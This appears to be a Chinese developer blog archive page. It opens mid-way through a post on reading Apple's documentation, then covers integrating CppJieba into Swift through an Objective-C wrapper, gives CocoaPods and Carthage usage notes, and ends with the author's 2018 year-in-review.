在初始化器的正下方,您有时会看到一些用于创建类的高度专业化实例的方法。这些不是 Swift 意义上的初始化器,但它们确实创建了类的实例。对于 UIImage,你会看到这样的事情:

class func animatedImageNamed(String, duration: TimeInterval) -> UIImage?

class func 部分意味着你将使用 UIImage.animatedImageNamed() 方式调用。

在初始化程序之后,事情变得有点不那么有条理:你会发现属性方法和枚举自由混合在一起。虽然您可以滚动查找您要查找的内容,但我可以认为大多数人只需要 Cmd + F 在页面上查找文字就可以了!

有三点需要注意:

  • 嵌套类型 - 类,结构和枚举 - 与属性和方法一起列出,这需要一点时间习惯。例如,UIImage 包含嵌套的枚举 ResizingMode
  • 任何带有直线穿过的东西都是不推荐使用的。这意味着 Apple 打算在某些时候将其删除,因此您不应将其用于将来的代码,并建议开始重写任何现有代码。(在实践中,大多数API长期以来都被“弃用” - 许多许多年。)
  • 一些非常复杂的类 - 例如,UIViewController - 会将额外的文档页面与其方法和属性混合在一起。查找它们旁边的页面图标,以及一个简单的英文标题,如“相对于安全区域定位内容”(Positioning Content Relative to the Safe Area)。

在页面的底部你会找到 Relationships,它告诉你它继承了哪个类(在这种情况下它直接来自 NSObject),以及它符合的所有协议。当您查看 Swift 类型时,本节更有用,其中协议关系更复杂。

阅读属性或方法页面

您已经选择了一个框架和类,现在是时候查看特定的属性或方法了。查找并选择此方法:

class func animatedResizableImageNamed(String, capInsets: UIEdgeInsets, resizingMode: UIImage.ResizingMode, duration: TimeInterval) -> UIImage?

您应该在 Creating Specialized Image Objects 类别中找到它。

animatedresizableimagenamed-1 animatedresizableimagenamed-2

这不是一个复杂的方法,但它确实展示了这些页面的重要部分:

  • Apple 有几种不同的方法来编写方法名称。之前的那个 - 长 class func animatedResizableImageNamed - 然后是方法页面标题中显示的形式(animatedResizableImageNamed(_:capInsets:resizingMode:duration:)),以及方法页面的声明部分中的形式。
  • 正如您在版本摘要中所看到的(在右侧),此方法在 iOS 6.0 中引入。因此,虽然主要的 UIImage 类从第1天开始就已存在,但这种方法是在几年后推出的。
  • 方法声明的各个部分都是可点击的,都是紫色的。但是要小心:如果你单击 UIImage.ResizingMode,你将去哪里取决于你是否点击了“UIImage”或“ResizingMode”。 (提示:您通常需要单击右侧的那个。)
  • 您将看到每个参数含义和返回值的简要说明。
  • “讨论”(Discussion)部分详细介绍了此方法的具体使用说明。这几乎总是 - 每个页面中最有用的部分,因为在这里您可以看到“不要调用此方法”或“小心……”
  • 你可能会找到一个 See Also 部分,但这有点受欢迎 - 这里只是我们在上一页的方法列表。

现在,UIImage 是一个老类,并没有太大变化,因此它的文档处于良好状态。但是一些较新的 API - 以及许多没有像 UIKit 那样被喜欢的旧 API - 仍然记录不足。例如,来自 SceneKitSCNAnimation 或来自 UIKitUITextDragPreviewRenderer:两者都是在 iOS 11 中引入的,并且在它们发布18个月后仍然包含“无可用概述(No overview available)”作为其文档。

当你看到“没有可用的概述(No overview available)”时,你会失望,但不要放弃:让我告诉你接下来要做什么……

查看代码

尽管 Apple 的在线文档相当不错,但您经常会遇到“无可用概述(No overview available)”,或者您发现没有足够的信息来回答您的问题。

康威定律(Conway’s law)指出,设计系统的组织受制于设计,这些设计是这些组织的通信结构的副本。“也就是说,如果你以某种方式工作,你将以类似的方式设计事物。

Apple 在我们行业中的独特地位使他们以一种相当不寻常的方式工作 - 几乎可以肯定它与您自己公司的工作方式完全不同。是的,他们有 API 审核讨论,他们试图讨论API应该如何用两种语言看待,是的,他们有专门的团队来制作文档和示例代码。

但是他们获取示例代码的门槛非常高:通常需要一些非常好的东西才能拿出来,并且通过多层检查来处理法律问题。因此,虽然我可以在一小时内输入一个项目并立即将其发布为文章,但 Apple 需要花费更长的时间才能完成同样的工作 - 他们非常认真地对待他们的形象,而且非常正确。如果你曾经想过为什么文章很少出现在官方 Swift 博客上,现在你知道了!

现在,我说这一切的原因是 Apple 有一个快速使用的捷径:他们的工程师在他们的代码中留下评论的门槛似乎显着降低,这意味着你经常会在 Xcode 中找到有价值的信息。这些评论就像细小的金子(gold dust)一样:它们直接来自 Apple 的开发者,而不是他们的开发者出版(developer publications)团队,而且我对 devpubs 非常热爱,很高兴直接听到来自源头的声音。

还记得我提到过 SceneKit 的 SCNAnimation 在 Apple 的开发者网站上没有记录吗?好吧,让我们来看看Xcode可以向我们展示的内容:按 Cmd + O 打开“快速打开(Open Quickly)”菜单,确保右侧的 Swift 图标为彩色而不是空心,然后键入“SCNAnimation”。

您将看到列出的一些选项,但您正在寻找 SCNAnimation.h 中定义的选项。如果您不确定,选择 YourClassName.h 文件是您最好的选择。

无论如何,如果你打开 SCNAnimation.h Xcode 将显示生成的 SCNAnimation 头文件版本。它的生成是因为原始版本是Objective-C,因此 Xcode 为 Swift 进行了实时翻译 - 这就是 Swift Quickly 框中的彩色 Swift 徽标的含义。

现在,如果你按 Cmd + F 并搜索“class SCNAnimation”,你会发现:

/**
 SCNAnimation represents an animation that targets a specific key path.
 */
@available(iOS 11.0, *)
open class SCNAnimation : NSObject, SCNAnimationProtocol, NSCopying, NSSecureCoding {  
    /*!
     Initializers
     */

    /**
     Loads and returns an animation loaded from the specified URL.

     @param animationUrl The url to load.
     */
    public /*not inherited*/ init(contentsOf animationUrl: URL)

这只是一个开始。 是的,该类及其所有内部都有文档,包括用法说明,默认值等。 所有这一切都应该在在线文档中,但无论出于什么原因它仍然没有,所以要准备好查找代码作为一个有用的补充。

最后的提示

此时,您应该能够查找在线文档以获取您喜欢的任何代码,并查找头文件注释以获取额外的使用说明。

但是,在准备好面对全部 Apple 文档之前,还有两件事需要了解。

首先,您经常会遇到标记为“已归档(archived”)”,“遗留(“legacy”)”或“已退休(“retired)”的文档 - 即使对于相对较新的事物也是如此。当它真的老了,你会看到诸如“这篇文章可能不代表当前发展的最佳实践”之类的消息。下载和其他资源的链接可能不再有效。“

尽管 Apple 是世界上最大的公司之一,但 Apple 的工程和 devpubs 团队几乎没有人员 - 他们不可能在保留所有内容的同时覆盖新的 API。因此,当你看到“存档”文档或类似文件时,请运用你的判断:如果它在某个版本的 Swift 中至少你知道它最近是模糊的,但即使不是,你仍然可能会发现那里有很多有价值的信息。

其次,Apple 拥有一些特别有价值的出色文档。这些都列在 https://developer.apple.com 的页脚中,但主要是人机界面指南。这将引导您完整地为 Apple 平台设计应用程序的所有部分,包括说明关键点的图片,并提供大量具体建议。即使这个文档是构建 iOS 应用程序时最重要的一个,但很少有开发人员似乎已经阅读过它!

接下来做什么?

我之前曾写过关于 Apple 文档的问题 - 我担心那里没有鼓励,但至少如果你在努力,它可能会让你觉得不那么孤单。

幸运的是,我有很多可能更有用的材料:

您认为阅读Apple文档最有效的方法是什么? 在Twitter上发送你的提示:@twostraws

在iOS-Swift项目中集成CppJieba分词

在垃圾短信过滤应用 SMSFilters 中,需要使用 Jieba 分词库来対短信进行分词,然后使用 TF-IDF 来进行处理` 分词库是 C++ 写的,这就意味着需要在Swift中集成 C++ 库。 在官方文档 “Using Swift with Cocoa and Objective-C” 中,Apple只是介绍了怎么将 Swift 代码跟 Objective-C 代码做整合,但是没有提C++,后来在官方文档中看到了这样一段话:

You cannot import C++ code directly into Swift. Instead, create an Objective-C or C wrapper for C++ code.

也就是不能直接导入 C++ 代码,但是可以使用 Objective-C 或者 C 对 C++ 进行封装。所以项目中使用 Objective-C 做封装,然后在 Swift 中调用,下面就是这个过程的实践,Demo 代码见 SwiftJiebaDemo

整合过程

分成三步:

  1. 引入C++文件;
  2. 用 Objective-C 封装;
  3. 在 Swift 中 调用 Objective-C;

引入C++文件

Demo中使用的是“结巴“中文分词的 C++ 版本 yanyiwu/cppjieba。将其中的 include/cppjieba 和依赖 limonp 合并,并加入 dict 中的 hmm_modeljiaba.dict 作为基础数据,并暴露 JiebaInitJiebaCut 接口:

//
//  Segmentor.cpp
//  iosjieba
//
//  Created by yanyiwu on 14/12/24.
//  Copyright (c) 2014年 yanyiwu. All rights reserved.
//

#include "Segmentor.h"
#include <iostream>

using namespace cppjieba;

cppjieba::MixSegment * globalSegmentor;

void JiebaInit(const string& dictPath, const string& hmmPath, const string& userDictPath)
{
    if(globalSegmentor == NULL) {
        globalSegmentor = new MixSegment(dictPath, hmmPath, userDictPath);
    }
    cout << __FILE__ << __LINE__ << endl;
}

void JiebaCut(const string& sentence, vector<string>& words)
{
    assert(globalSegmentor);
    globalSegmentor->Cut(sentence, words);
    cout << __FILE__ << __LINE__ << endl;
    cout << words << endl;
}

以及

//
//  Segmentor.h
//  iosjieba
//
//  Created by yanyiwu on 14/12/24.
//  Copyright (c) 2014年 yanyiwu. All rights reserved.
//

#ifndef __iosjieba__Segmentor__
#define __iosjieba__Segmentor__

#include <stdio.h>

#include "cppjieba/MixSegment.hpp"
#include <string>
#include <vector>

extern cppjieba::MixSegment * globalSegmentor;

void JiebaInit(const std::string& dictPath, const std::string& hmmPath, const std::string& userDictPath);

void JiebaCut(const std::string& sentence, std::vector<std::string>& words);

#endif /* defined(__iosjieba__Segmentor__) */

目录如下:

$ tree iosjieba
iosjieba
├── Segmentor.cpp
├── Segmentor.h
├── cppjieba
│   ├── DictTrie.hpp
│   ├── FullSegment.hpp
│   ├── HMMModel.hpp
│   ├── HMMSegment.hpp
│   ├── Jieba.hpp
│   ├── KeywordExtractor.hpp
│   ├── MPSegment.hpp
│   ├── MixSegment.hpp
│   ├── PosTagger.hpp
│   ├── PreFilter.hpp
│   ├── QuerySegment.hpp
│   ├── SegmentBase.hpp
│   ├── SegmentTagged.hpp
│   ├── TextRankExtractor.hpp
│   ├── Trie.hpp
│   ├── Unicode.hpp
│   └── limonp
│       ├── ArgvContext.hpp
│       ├── BlockingQueue.hpp
│       ├── BoundedBlockingQueue.hpp
│       ├── BoundedQueue.hpp
│       ├── Closure.hpp
│       ├── Colors.hpp
│       ├── Condition.hpp
│       ├── Config.hpp
│       ├── FileLock.hpp
│       ├── ForcePublic.hpp
│       ├── LocalVector.hpp
│       ├── Logging.hpp
│       ├── Md5.hpp
│       ├── MutexLock.hpp
│       ├── NonCopyable.hpp
│       ├── StdExtension.hpp
│       ├── StringUtil.hpp
│       ├── Thread.hpp
│       └── ThreadPool.hpp
└── iosjieba.bundle
    └── dict
        ├── hmm_model.utf8
        ├── jieba.dict.small.utf8
        └── user.dict.utf8

接下来开始在项目中集成。首先创建一个空项目 iOSJiebaDemo,将 iosjieba 加入项目中。

单页应用SwiftJiebaDemo添加 SwiftJiebaDemo
create-single-view-appswift-jieba-demo-1swift-jieba-demo-2

添加 iosjieba:

iosjieba-1

见代码: https://github.com/qiwihui/SwiftJiebaDemo/commit/caeb6c2f9fb005a9bc518ee67890814481676807

C++ 到 Objective-C 封装

这个过程是将 C++ 的接口进行 Objective-C 封装,向 Swift 暴露。这个封装只暴露了 objcJiebaInitobjcJiebaCut 两个接口。

//
//  iosjiebaWrapper.h
//  SMSFilters
//
//  Created by Qiwihui on 1/14/19.
//  Copyright © 2019 qiwihui. All rights reserved.
//

#import <Foundation/Foundation.h>

@interface JiebaWrapper : NSObject

- (void) objcJiebaInit: (NSString *) dictPath forPath: (NSString *) hmmPath forDictPath: (NSString *) userDictPath;
- (void) objcJiebaCut: (NSString *) sentence toWords: (NSMutableArray *) words;

@end
//
//  iosjiebaWrapper.mm
//  iOSJiebaTest
//
//  Created by Qiwihui on 1/14/19.
//  Copyright © 2019 Qiwihui. All rights reserved.
//

#import <Foundation/Foundation.h>
#import "iosjiebaWrapper.h"
#include "Segmentor.h"

@implementation JiebaWrapper

- (void) objcJiebaInit: (NSString *) dictPath forPath: (NSString *) hmmPath forDictPath: (NSString *) userDictPath {

    const char *cDictPath = [dictPath UTF8String];
    const char *cHmmPath = [hmmPath UTF8String];
    const char *cUserDictPath = [userDictPath UTF8String];
    
    JiebaInit(cDictPath, cHmmPath, cUserDictPath);
    
}

- (void) objcJiebaCut: (NSString *) sentence toWords: (NSMutableArray *) words {
    
    const char* cSentence = [sentence UTF8String];
    
    std::vector<std::string> wordsList;
    for (int i = 0; i < [words count];i++)
    {
        wordsList.push_back(wordsList[i]);
    }
    JiebaCut(cSentence, wordsList);
    
    [words removeAllObjects];
    std::for_each(wordsList.begin(), wordsList.end(), [&words](std::string str) {
        id nsstr = [NSString stringWithUTF8String:str.c_str()];
        [words addObject:nsstr];
    });
}

@end

见代码: https://github.com/qiwihui/SwiftJiebaDemo/commit/7d196bb2c33280a4f419be21b47961a521618221

Objective-C 到 Swift

在 Swift 中调用 Objecttive-C 的接口,这个在官方文档和许多博客中都有详细介绍。

  1. 加入 {project_name}-Bridging-Header.h 头文件,即 SwiftJiebaDemo_Bridging_Header_h,引入之前封装的头文件,并在 Targets -> Build Settings -> Objective-C Bridging Header 中设置头文件路径 SwiftJiebaDemo/SwiftJiebaDemo_Bridging_Header_h
//
//  SwiftJiebaDemo-Bridging-Header.h
//  SwiftJiebaDemo
//
//  Created by Qiwihui on 1/15/19.
//  Copyright © 2019 Qiwihui. All rights reserved.
//

#ifndef SwiftJiebaDemo_Bridging_Header_h
#define SwiftJiebaDemo_Bridging_Header_h

#import "iosjiebaWrapper.h"

#endif /* SwiftJiebaDemo_Bridging_Header_h */

bridging-header-2

  1. 将使用到 C++ 的 Objective-C 文件修改为 Objective-C++ 文件,即 将 .m 改为 .mm: iosjiebaWrapper.m 改为 iosjiebaWrapper.mm

见代码:https://github.com/qiwihui/SwiftJiebaDemo/commit/94852b1357b0a0a4b2e8b92384fbdb1b16c80ed8

使用

使用时需要先初始化 Jiaba分词,然后再进行分词。

class Classifier {

    init() {
        let dictPath = Bundle.main.resourcePath!+"/iosjieba.bundle/dict/jieba.dict.small.utf8"
        let hmmPath = Bundle.main.resourcePath!+"/iosjieba.bundle/dict/hmm_model.utf8"
        let userDictPath = Bundle.main.resourcePath!+"/iosjieba.bundle/dict/user.dict.utf8"

        JiebaWrapper().objcJiebaInit(dictPath, forPath: hmmPath, forDictPath: userDictPath);
    }

    func tokenize(_ message:String) -> [String] {
        print("tokenize...")
        let words = NSMutableArray()
        JiebaWrapper().objcJiebaCut(message, toWords: words)
        return words as! [String]
    }
}

控制台输出结果:

result

可以看到,测试用例 小明硕士毕业于中国科学院计算所,后在日本京都大学深造 经过分词后为 〔拼音〕["小明", "硕士", "毕业", "于", "中国科学院", "计算所", ",", "后", "在", "日本", "京都大学", "深造"],完成集成。

见代码: https://github.com/qiwihui/SwiftJiebaDemo/commit/bc42e1312dff6a9f7171cc69403136bc8a82204c

遇到的问题

由于自己对于编译链接原理不了解,以及是 iOS 开发初学,因此上面的这个过程中遇到了很多问题,耗时两周才解决,故将遇到的一些问题记录于此,以便日后。

  1. "cassert" file not found

.m 改为 .mm 即可。

  1. compiler not finding <tr1/unordered_map>

设置 C++ Standard LibraryLLVM libc++

llvm

参考: mac c++ compiler not finding <tr1/unordered_map>

  1. warning: include path for stdlibc++ headers not found; pass '-std=libc++' on the command line to use the libc++ standard library instead [-Wstdlibcxx-not-found]

Build Setting -> C++ Standard Library -> libstdc++ 修改为 Build Setting -> C++ Standard Library -> libc++

  1. use of unresolved identifier

这个问题在于向项目中加入文件时,Target Membership 设置不正确导致。需要将对于使用到的 Target 都勾上。

相关参考: Understanding The “Use of Unresolved Identifier” Error In Xcode

参考

Cocoapods 和 Carthage 使用笔记

Carthage 和 CoaoaPods 的区别

CoaoaPods 是一套整体解决方案,我们在 Podfile 中指定好我们需要的第三方库。然后 CocoaPods 就会进行下载,集成,然后修改或者创建我们项目的 workspace 文件,这一系列整体操作。

相比之下,Carthage 就要轻量很多,它也会一个叫做 Cartfile 描述文件,但 Carthage 不会对我们的项目结构进行任何修改,更不多创建 workspace。它只是根据我们描述文件中配置的第三方库,将他们下载到本地,然后使用 xcodebuild 构建成 framework 文件。然后由我们自己将这些库集成到项目中。Carthage 使用的是一种非侵入性的哲学。

另外 Carthage 除了非侵入性,它还是去中心化的,它的包管理不像 CocoaPods 那样,有一个中心服务器(cocoapods.org),来管理各个包的元信息,而是依赖于每个第三方库自己的源地址,比如 Github。

Cocoapods

安装

  1. (可选)使用 taobao ruby-china 源替换默认 gem 源: gem source blabla..

    $ gem sources -l
    *** CURRENT SOURCES ***
    
    https://rubygems.org/
    
    $ gem sources --remove https://rubygems.org/
    https://ruby.taobao.org/ removed from sources
    
    $ gem source -a https://gems.ruby-china.com/
    https://gems.ruby-china.com/ added to sources
    
    $ gem source -c
    *** Removed specs cache ***
    
    $ gem source -u
    source cache successfully updated
    
    $ gem sources -l
    *** CURRENT SOURCES ***
    
    https://gems.ruby-china.com/
    
  2. sudo gem install cocoapods

  3. (可选)切换 pod 源

    $ pod repo
    
    master
    - Type: git (master)
    - URL:  https://github.com/CocoaPods/Specs.git
    - Path: /Users/qiwihui/.cocoapods/repos/master
    
    $ pod repo remove master
    
    $ pod repo add master https://git.coding.net/CocoaPods/Specs.git
    
    $ pod repo update
    
    $ pod setup
    

    或者

    $ git clone https://git.coding.net/CocoaPods/Specs.git ~/.cocoapods/repos/master
    $ pod repo update
    

    切换回官方镜像

    $ pod repo remove master
    
    $ pod repo add master https://github.com/CocoaPods/Specs.git
    
    $ pod repo update
    Updating spec repo `master`
      $ /usr/local/bin/git -C /Users/qiwihui/.cocoapods/repos/master fetch origin --progress
      remote: Enumerating objects: 511, done.        
      remote: Counting objects: 100% (511/511), done.        
      remote: Compressing objects: 100% (134/134), done.        
      remote: Total 820 (delta 399), reused 449 (delta 367), pack-reused 309        
      Receiving objects: 100% (820/820), 99.24 KiB | 401.00 KiB/s, done.
      Resolving deltas: 100% (501/501), completed with 194 local objects.
      From https://github.com/CocoaPods/Specs
         5b04790953c..e3ba7ee3a29  master     -> origin/master
      $ /usr/local/bin/git -C /Users/qiwihui/.cocoapods/repos/master rev-parse --abbrev-ref HEAD
      master
      $ /usr/local/bin/git -C /Users/qiwihui/.cocoapods/repos/master reset --hard origin/master
      HEAD is now at e3ba7ee3a29 [Add] IOS_OC_BASIC 6.3
    
    CocoaPods 1.6.0.beta.2 is available.
    To update use: `sudo gem install cocoapods --pre`
    [!] This is a test version we'd love you to try.
    
    For more information, see https://blog.cocoapods.org and the CHANGELOG for this version at https://github.com/CocoaPods/CocoaPods/releases/tag/1.6.0.beta.2
    
  4. 如果Podfile文件中有

    source 'https://github.com/CocoaPods/Specs.git'
    

    也需要把它换成repo的源,否则依然是使用GitHub源

基础用法

  1. cd <project_folder>

  2. pod init

  3. 编辑 Podfile, example

    # 平台,必需
    platform :ios, '9.0'
    # 隐藏警告
    inhibit_all_warnings!
    
    target 'AlamofireDemo' do
        # Using Swift and want to use dynamic frameworks
        use_frameworks!
    
        # 项目 Pods
        pod 'Alamofire', '~> 4.5'
    
        target 'AlamofireDemoTests' do
            inherit! :search_paths
            # 测试 Pods
        end
    
    end
    

    版本支持: - >, >=, <, <= - ~>: up to next major | minor | patch - :path 本地绝对路径 - :git git项目地址,还可使用 :branch, :tag, :commit

  4. pod install

  5. Always 打开项目下 *.xcworkspace 文件作为项目入口

pod install 和 pod update 区别

  • pod install [package_name]: 安装特定版本的 pods
  • pod update [package_name]: 升级 pods 到最新版本

Carthage

安装

brew install carthage

使用

  1. 编辑 Cartfile,比如 SwiftyJSON

    github "SwiftyJSON/SwiftyJSON"
    
  2. carthage update [–platform ios]

    $ carthage update
    *** Fetching SwiftyJSON
    *** Checking out SwiftyJSON at "4.2.0"
    *** xcodebuild output can be found in /var/folders/kl/g94q0k_571vdjtcwzzcv20s40000gn/T/carthage-xcodebuild.nN22hg.log
    *** Building scheme "SwiftyJSON iOS" in SwiftyJSON.xcworkspace
    *** Building scheme "SwiftyJSON watchOS" in SwiftyJSON.xcworkspace
    *** Building scheme "SwiftyJSON tvOS" in SwiftyJSON.xcworkspace
    *** Building scheme "SwiftyJSON macOS" in SwiftyJSON.xcworkspace
    
  3. Carthage 目录下:

    • Build(编译出来的.framework二进制代码库)
    • Checkouts(源码)
    $ tree -L 3 Carthage/
    Carthage/
    ├── Build
    │   ├── Mac
    │   │   ├── SwiftyJSON.framework
    │   │   └── SwiftyJSON.framework.dSYM
    │   ├── iOS
    │   │   ├── 22BD4B6C-0B26-35E1-AF5F-8FB6AEBFD2FD.bcsymbolmap
    │   │   ├── C862E8A1-24ED-398A-A8E9-A7384E34EDB1.bcsymbolmap
    │   │   ├── SwiftyJSON.framework
    │   │   └── SwiftyJSON.framework.dSYM
    │   ├── tvOS
    │   │   ├── 1ADB9C1F-36CA-3386-BF07-6EE29B5F8081.bcsymbolmap
    │   │   ├── SwiftyJSON.framework
    │   │   └── SwiftyJSON.framework.dSYM
    │   └── watchOS
    │       ├── A8A151AB-D15E-3A0B-8A17-BF1A39EC6AB4.bcsymbolmap
    │       ├── EA427A42-6D21-3FF4-919F-5E50BF8A5D7B.bcsymbolmap
    │       ├── SwiftyJSON.framework
    │       └── SwiftyJSON.framework.dSYM
    └── Checkouts
        └── SwiftyJSON
            ├── CHANGELOG.md
            ├── Example
            ├── LICENSE
            ├── Package.swift
            ├── README.md
            ├── Source
            ├── SwiftyJSON.podspec
            ├── SwiftyJSON.xcodeproj
            ├── SwiftyJSON.xcworkspace
            ├── Tests
            └── scripts
    
  4. 添加生成的文件: 项目 “General” -> “Linked Frameworks and Libraries” -> 将 Carthage/Build/iOS 中的 .framework 文件添加到项目中

  5. “Build Phases” -> “+” -> “New Run Script Phase”

    • /bin/sh
    • /usr/local/bin/carthage copy-frameworks
    • “Input Files”: (BUILT_PRODUCTS_DIR)/$(FRAMEWORKS_FOLDER_PATH)/SwiftyJSON.framework

    添加这个 Run Script 的作用是为了让运行时能够找到这个动态库。 还可以将 Carthage 所集成的第三方库生成的符号文件添加到项目中,这样我们在调试的时候,就可以步入第三方库内部的代码:Build Phrases -> New Copy Files Phrase,将 Carthage/Build/iOS 目录中的 SwiftyJSON.framework.dSYM 符号文件拖动进来

参考

年度总结 - 2018年全年复盘

2019年一月已经过半,本该在年底十二月完成的总结又到现在才开始着笔。2018年发生了很多事,从年初比特币大涨至最高到现在互联网寒冬已至,不断变化的是环境,不变的是每年一次的年终总结。(误)

技术

做为一个程序员,在保持自己技术水平同时,应当不断地学习,总结和思考新的技术,才能在这个行业不至于被淘汰。互联网寒冬来临之时,对于还不能掌握形式的我也只能先增强自身能力以期减少这个寒冬带来影响。

机器学习和深度学习

从2017年年底开始涉足机器学习深度学习,先是学习然后在工作项目中实践,至今一年有余。 机器学习和深度学习从吴恩达的《机器学习》《深度学习》课程开始,吴恩达的课程简洁易懂,逻辑清楚,虽然都是英文,但也没有太大关系。不过这两个课程注重算法胡实现,缺少项目,因此可以需要 fast.ai 的机器学习深度学习课程来巩固掌握。主要使用的框架是 Scikit-learnKerasTensorflow,这三个掌握不足。 之后在公司安全项目中使用了一些分析和算法,对于机器学习和深度学习的理解和应用也只能说是皮毛。

Python和Go

  • Python语法巩固;
  • Go语言熟悉了基本语法,能阅读代码,会简单编写;
  • 入门Rust。

iOS 开发

年初(2017年末)答应给朋友的电影推荐网站写一个 iOS App,结果朋友的站倒闭了也还没有开始。下定决心花了一个多月学习 《Beginning iOS 11 Programming With Swift 4.1》和练习,然后开始做一个基于机器学习的垃圾短信过滤App SMSFilters,功能模仿熊猫吃短信。刚开始就是一行代码写一天,一个Bug改一周,软件开发这种事情就是要不断实践才能对所学的知识掌握。

SMSFilters 使用 Jieba 分词处理短信,然后用词袋模型提取特征,最后用 LinearSVC 训练,写 SMSFilters 遇到的第一个难题就是集成调用 CppJieba,没有经验,只能查文档,查StackOverflow,经过两周尝试,终于解决,过程可以参见 Demo 项目 SwiftJiebaDemo 和博文在iOS-Swift项目中集成CppJieba分词。目前项目进展至使用模型进行垃圾短信判断。

开源和社区

9月底请假去上海参加了今年的 Google 中国开发者大会,Google 是一家伟大公司,也是一家令人向往的公司.。Google 对于技术的追求也是有目共睹的。虽然 Google 重返中国进程一直很艰难,但不妨碍其技术传播。此次参加开发者大会让我体会最深的是 Google 对于技术的追求,以及用技术改变世界的理想。Google 分享的技术涉及 AI,Tensorflow,Android,Firebase,Flutter 以及 AR/VR 等,在用技术改变世界。

博客和资讯

日常的咨询获取基本靠自订阅的 RSS,以及自己搭建的 RSSHub 和使用 feed43.com 做的 feed,但是对于微信公众号,自从微广场停止之后,一直没有很好的获取工具。 去年的博客数量更新很少,而且质量也不高,都是一些 “How to” 文,以及只写了大纲的几篇文章。

任务管理

9月看到 limboys 用 Trello 管理和记录日常的 Board,很有条理,便开始使用 Trello 管理和记录包括看书,电影电视,以及项目,目前公开了两个 Board:Qiwihui’s Life技术和思考。Trello 的体验轻便,方便梳理,是迄今用过的最舒服的项目管理工具。

其他

  1. Chrome扩展:Octo Previewer

Fork并修改了一个 Chrome 扩展:Octo Previewer,用来实时预览 Github 上的 PRs,Issues,Gists 的 Markdown 评论。

  1. 在macOS上基于docker构建透明代理

Trello 卡片 上记录这个过程。理论上是可行的,只是在有些工具上卡住了前进的路线。

  1. hiwifi-ss 项目

这个基于极路由的翻墙项目没有持续维护,一则自己对于 lua 和 前端不熟悉,开发起来困难,二则我自己的极路由在搬家之后就没有了,再者极路由似乎大势已去,所以这个项目基本也就三四个月更新一次。这个项目给我带来的最大感触就是维护开源项目真的不容易。前些天看到 kalasoo 的文章《开源即责任》也是有感触。

读书

2018年上半年忙与机器学习和项目,几乎没有读什么书,下半年(9月)开始入坑科幻小说。《三体》是一部好的科幻小说,但在国内《三体》造就的伪科幻迷群体以及随之而来的各种各种视为真理的概念着实令人难受,于是入坑科幻洗洗脑。科幻类基本都是名篇,看过之后,对于《三体》所带来的震撼减轻了不少,但是我更加佩服大刘了。

books

技术类

  • 《Node入门》:一本入门 node 的不错的简单教程
  • 《Beginning iOS 11 Programming With Swift 4.1》:出自 Appcoda 的 iOS 开发入门教程,対初学者十分友好,详细介绍了开发一个 App 所需要的各个细节。
  • 《python-data-structure-cn》:Python数据结构简单介绍和实践,主要边帮着校对边读了。
  • 《给iOS开发者的Sketch入门教程》:做图标。

科幻类

  • 《海伯利安》及《海伯利安的陨落》,丹·西蒙斯:太空歌剧,感叹于作者对七个朝圣者故事的精彩讲述,以及挖坑。
  • 《软件体的生命周期》,姜峯楠:一开始还以为是计算机的书,姜峯楠的中短篇非常有料,和之前看过的《你一生的故事》短篇集同样精彩。
  • 《银河帝国》基地三部曲,包括 《基地》《基地与帝国》《第二基地》,艾萨克·阿西莫夫:经典中经典。
  • 《银河帝国》机器人系列,包括 《我,机器人》、《钢穴》、《裸阳》、《曙光中的机器人》、《机器人与帝国》,艾萨克·阿西莫夫:对于机器人三大法则,作者一步步进行“推翻”补充的过程。
  • 《平面国——及正方形的多维世界历险记》,埃德温·A·艾勃特:你如何看待二维世界,以及四维世界如何看你。
  • 《童年的终结》,阿瑟·克拉克:“大规摸养猪场技术”,包括安抚,推荐。
  • 《与拉玛相会》,阿瑟·克拉克:小说对于 Rama 飞船的探索写的很详尽,以至于最后离开飞船后飞船的行动让我大气不敢出。

数学类

  • 《从一到无穷大:科学中的事实和臆测》:科普,讲的东西很多,第一章是数论,第二章是相对论,第三章是微观世界,第四章是宏观世界,对于我无太多感想,必竟很多都知道了,感觉又看了一遍高中书。
  • 《素数之恋—黎曼和数学中最大的未解之迷》:理论和计算结合。
  • 《Riemann 猜想漫谈》:通俗易懂。

关于素数的两本书,主要是因为菲尔兹奖与阿贝尔奖双料得主迈克尔·阿蒂亚爵士讲述他对黎曼猜想的证明,这次事件间引起了我详细了解黎曼猜想的兴趣,为此还专门购买了经典教材《复变函数论方法》,期待进一步了解。这两本书适合一起看,互相补充。不幸的是,迈克尔·阿蒂亚爵士,于 2019 年 1 月 11 日上午逝世,享年八十九岁。他最后的尝试,令人佩服!

「我一直在尝试理解事物运行的原因。我对不能理解背后原理的公式不感兴趣。我总是试图挖掘事物背后的原理,所以如果我有一个公式,我就会去理解它为什么是这样。理解是一个非常困难的概念。人们认为数学的开始是你写下一个定理并附带证明。这不是开始,这是结束。对我来说,数学的创造性在你动手在纸上写字之前,在你尝试写公式之前。你描绘不同的事物,在脑海中反复思考。你尝试的创造,就像音乐家试图创作音乐,或诗人写诗一样。这个过程没有可以遵循的规律,你必须找到自己的方法。但到了最后,就像作曲家必须写下乐谱一样,你必须把它写下来。但最重要的一步是理解。证明公式本身可能不能让你理解。你可能有一个很长的证明,但到最后却不知道它为何是这样。但为了理解,你必须找到类似于直觉的能力,你必须感受它。」

——迈克尔·阿蒂亚爵士

其他类

  • 《黑客(计算机革命的英雄)》:家酿计算机俱乐部以及上古黑客的事迹,看完这个可以看看 《黑镜:潘达斯奈基》,可以看到许多影子。
  • 《此间的少年》,江南:之前没看完补上的。

今年看的非技术书基本都是在上下班坐着公交看的,积少成多,也就多了。今年的体会就是读书如抽丝。多读书涨见识。

电影、电视剧

平常看电影电视有时候喜欢写着代码,可能也不太记得太多,讲讲喜欢的吧。

movies

  • 《碟中碟6:全面瓦解》:阿汤哥不老开挂。
  • 《dele ディーリー 人生删除事务所》:其实不喜欢,以删除人生的名义偷窥以至修改别人的人生。
  • 《知无涯者 The Man Who Knew Infinity》:印度小哥开启挂来连哈代都服。
  • 《超级科学伙伴》:和一群点了“超人”技能树的科学家一起拯救世界是一种怎样的体验。
  • 《我的三体》(第一季,第二季):《我的世界》+《三体》简直不要太开心,可能是唯一的视频画面质量以可见的速度在变化的动画。
  • 《神奇动物:格林德沃之罪》:挖坑之作,“英特纳雄耐尔,就一定要实现!”。
  • 《神秘博士》(第十一季):换了编剧之后十三姨没有自己的特点,期待圣诞之后的几集能好转。
  • 《邪不压正》:如果那个北京城是真的。
  • 《世界奇妙物语 2018年春季特别篇》:意外好看一些。
  • 《辛普森一家》(第三十季):小黄人一家的故事。
  • 《孤独的美食家》(第七季):“凭谁问,廉颇老矣,尚能饭否?”
